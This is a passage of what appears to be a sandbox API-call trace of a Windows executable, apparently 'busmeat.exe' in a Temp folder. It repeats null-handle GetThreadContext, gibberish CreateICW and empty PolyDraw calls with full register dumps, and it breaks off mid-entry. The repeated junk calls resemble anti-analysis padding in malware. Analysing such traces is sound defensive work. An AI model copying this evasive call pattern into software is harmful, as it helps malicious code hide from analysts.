	[0066.182] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.182] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.182] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.182] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.182] GetConsoleCP () returned 0x0
	[0066.182] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.182] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.183] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.183] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.183] GetConsoleCP () returned 0x0
	[0066.183] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, 